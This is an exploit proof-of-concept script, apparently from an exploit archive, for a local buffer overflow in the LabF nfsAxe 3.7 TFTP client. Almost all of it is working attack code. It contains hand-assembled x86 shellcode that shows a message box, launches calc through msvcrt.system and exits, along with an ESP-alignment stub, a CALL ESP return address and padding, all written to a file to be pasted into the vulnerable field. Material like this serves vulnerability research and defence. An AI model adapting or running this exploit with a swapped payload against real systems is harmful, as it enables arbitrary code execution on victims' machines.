LabF nfsAxe 3.7 TFTP Client – Local Buffer Overflow
#!/usr/bin/python ######################################################################################################## # Exploit Author: Miguel Mendez Z # Exploit Title: LabF nfsAxe v3.7 - TFTP "Input Directory" Local Buffer Overflow # Date: 29-01-2018 # Software: LabF nfsAxe # Version: v3.7 # Vendor Homepage: http://www.labf.com # Software Link: http://www.labf.com/download/nfsaxe.exe # Tested on: Windows 7 x86 ######################################################################################################## import struct ropAlignEsp = ( "\x83\xEC\x58" #SUB ESP,58 "\x83\xEC\x58" #SUB ESP,58 "\x83\xEC\x58" #SUB ESP,58 "\x83\xEC\x58" #SUB ESP,58 "\x83\xEC\x10" #SUB ESP,10 "\xFF\xE4" #JMP ESP ) scode = "\xB9\xEF\xEE\xEE\xEE" #MOV ECX,EEEEEEEF scode += "\x81\xC1\x11\x11\x11\x11" #ADD ECX,11111111 scode += "\x51" #PUSH ECX scode += "\x68\x31\x30\x73\x21" #PUSH 31307321 scode += "\x68\x73\x31\x6b\x72" #PUSH 73316b72 scode += "\x68\x5f\x62\x79\x5f" #PUSH 5f62795f scode += "\x68\x70\x77\x6e\x64" #PUSH 70776e64 scode += "\x68\x42\x30\x66\x5f" #PUSH 4230665f scode += "\x8B\xD4" #MOV EDX,ESP scode += "\x48" #DEC EAX scode += "\x50" #PUSH EAX scode += "\x52" #PUSH EDX scode += "\x52" #PUSH EDX scode += "\x50" #PUSH EAX scode += "\xBA\x11\xEA\x1A\x76" #MOV EDX,USER32.MessageBoxA() (Change) scode += "\xFF\xD2" #CALL EDX #-------------- scode += "\x33\xD2" #XOR EDX,EDX scode += "\xB9\xEF\xEE\xEE\xEE" #MOV ECX,EEEEEEEF scode += "\x81\xC1\x11\x11\x11\x11" #ADD ECX,11111111 scode += "\x51" #PUSH ECX scode += "\x68\x63\x61\x6c\x63" #PUSH 0x63616c63 scode += "\x8B\xD4" #MOV EDX,ESP scode += "\x52" #PUSH EDX scode += "\x33\xD2" #XOR EDX,EDX scode += "\xBA\x6F\xB1\x0F\x76" #MOV EDX,msvcrt.system - 0x760fb16f (Change) scode += "\xFF\xD2" #CALL EDX #-------------- scode += "\x50" #PUSH EAX scode += "\xB8\xE2\xBB\xB5\x75" #MOV EAX,kernel32.ExitProcess() (Change) scode += "\xFF\xD0" #CALL EAX offset = "Host: "+scode+"A"*(1000-len(scode))+"\n" offset += "File(s): "+"B"*33 offset += struct.pack("<L",0x75A6923D) #CALL ESP ADVAPI32.DLL offset += "B"*5 offset += ropAlignEsp offset += "B"*(1037-37+(len(ropAlignEsp)-5))+"\n" offset += "Remote Dir y Local Dir: "+"C"*1000 payload = offset print "Payload len: "+str(len(payload)) print "Shellcode len: "+str(len(scode)) file=open('tftpPoc.txt','w') file.write(payload) file.close() |